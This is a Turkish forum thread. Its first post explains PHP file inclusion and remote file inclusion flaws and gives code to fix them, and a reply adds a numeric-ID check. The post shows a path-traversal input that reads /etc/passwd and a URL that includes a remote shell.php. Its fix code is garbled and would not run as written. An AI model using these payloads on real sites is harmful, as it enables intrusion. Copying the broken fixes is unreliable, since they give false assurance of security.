PHP | RFI Ve Fİ Saldırılarından Korunma.

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Kurtefendy
    Kurtefendy's avatar
    Kayıt Tarihi: 27/Eylül/2007
    Erkek
    s.a. arkadaşlarbu dökümanımda php portal,scriptlerinde bulunan file inclusion(FI) ve Remote File İnclusion(RFI) açıklarını kapatmayı anlatacağım..php coderlar için yararlı olacağını düşünüyorum..

    php sitelerde sürekli rastladığımız bir kullanımıdır;

    örneğin; haber.php?id=1 şimdi buraya kadar bir sorun yok

    kullanıcı bu adrese girdiğinde haber.php deki id 1 li haber sayfada görünecektir..

    ama kullanıcı id= tanımlanmamış veya olmayan bir değer girdiğinde sistem hata verecektir.hata vermesi ne işine yarar diyebilirsiniz ancak ufak hatalarla sistemlere sızıldığıda bu açık için bir gerçektir..örneğin hatamızı şunla alalım

    haber.php?id=-1

    şimdi haber.php den -1 id li haberi istedik -1 id li haber olmayacağına göre portal hata verecek
    ve asıl işlem şimdi başlayacaktır.verilen hata

    Warning: main(-1) [<function.main>]: failed to open stream: No such file or directory in /www/kurt/baba/kurtbaba/index.php on line 124

    Fatal error: main() [<function.require>]: Failed opening required ‘-1′ (include_path=’.:’) in /www/kurt/baba/kurtbaba/index.php on line 124

    Şimdi hatamız da normal kullanıcı için bir sorun yok öyle yada böyle gerçek id yi girip sayafa girecektir.ancak sayfaya giren kişi hata almak için girdiğini düşünün (IMG:
    style_emoticons/default/smile.gif) o zaman bu hata çok tehlikeli olabilir..yukarıdaki hatada index.php den önce 4 klasör var

    www/kurt/baba/kurtbaba

    demekki 4 dizin atlarsak serverın anadizinine geliriz demektir..peki bunu nasıl yapacağız ?

    bunuda taksim kullanarak yapacağız..

    ../../../../ 4 klasör olduğu için 4 tane taksim attık ‘ .. ‘ geç anlamında uzaktaki dosya anlamında taksimlerden sonra kullandık..

    4 dizin atladıktan sonra genelde serverlarda şifrelerin tutulduğu yer etc/passwd klasörüdür bunuda aynı şekilde

    ../../../../etc/passwd dersek serverdaki sitelerin tümünün db adları ftp passları karışımıza gelir..

    Açığın ne kadar tehlikeli olduğunu gördük,

    Şimdide açığı nasıl kapayabileceğimizi öğrenelim..

    bu yöntemden korunmak için php coderlar şu 4 koda dikkat etmeli
    ve her gördükleri yeri $define ederek güvenliği sağlamalılardır.kodlarımız(rfı ararken kullandığımız kodlar)

    include(), include_once(), require() ve require_once()Şimdi açığın php de engellenmesi için birkaç yol var ilk anlattığım yolla REMOTE FİLE İNCLUDE açıklarını kapatmak için kullanabilirsiniz…bu yolla sistem sadece kendi ftp dizinimizde olan dosya çağırma zorunluluğu koyacağız..bu sayede kullanıcı başka siteden veya serverdan bilgi çekemeyeck..remote file includeden kısaca bahsedeyim;

    FI,RFI nin gelişmiş hali denilebilir FI de serverdan bilgi isteriz RFI de uzaktan çağırdığımız kodlarla server daki dosyalar,diğer sitelere erişiriz örnek kullanım http://site.com/haber.php?id=http://siteadi.com/shell.php bu şekilde uzaktan çağırdığımız .php fso lar sayesinden serverda root olmaya kadar gidebilirsiniz..‘<?php’

    ‘error_reporting(0);’

    ‘define(’PATH’,'www/kurt/baba/kurtbaba’);’

    ‘İF(!include_once(PATH.’/’.$_GET[’haber’].’.php’))’

    ‘exit(’Sayfa bulunamadı!’);’
    ‘?>’

    Şimdide FİLE İNCLUSİON a neden olan kodları tanımlayıp,açığı engelleyelim..

    ‘<?php’
    ‘error_reporing(0);’

    ‘define(’PATH’, ‘/www/kurt/baba/kurtbaba”);’

    ‘$pages = array (’haber’, ‘home’, ‘);’

    ‘İF(in_array($_GET[’haber’], $haber))’

    ‘if(!include_once(PATH.’/’.$_GET[’haber’].’.php’))’

    ‘exit(’Sayfa bulunamadı!’);’

    ‘else

    ‘exit(’Böyle Bir Sayfa Hiç Olmadı !’);’

    '?>

    Şimdi ben size 2 yolu anlattım
    php de güvenliği sağlamak elbette bu kadar kolay değil ancak php de kodlamaya yeni başlayanlar bu kadarını bilmeleri yeterli.ayrıca ingilizcesi olanlar ingilizce yüzlerce dökümana ulaşabilirler.. çok ileri düzey anlatımlar var ingilizce..

    http://www.google.com.tr/search?hl=tr&…p+security& ; ; ; ;meta=neyse benden bu kadar dökümanda geçen her kelime tarafımca yazılmıştır.. Kolay gele.

    KURTEFENDY


    Kurtefendy
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ★★★★
    Genki
    Genki's avatar
    Kayıt Tarihi: 24/Ağustos/2005
    Erkek

    bende ufak bi kod verim. Belki işinize yarar :) . haber.php?id=xx gibi sayfalarda gelen karakterlerin numeric olmadıgını kontrol  ettirebiliriz. Deilsene karşısına msj verebiliriz

    <?

    $gelenid = $_GET['id'];

    if (!is_numeric($gelenid))
    {
    echo "Sie bebeim xD";
    exit;
    }

    ?>

    dökümanı paylaştıgın için saol. 

Toplam Hit: 1915 Toplam Mesaj: 2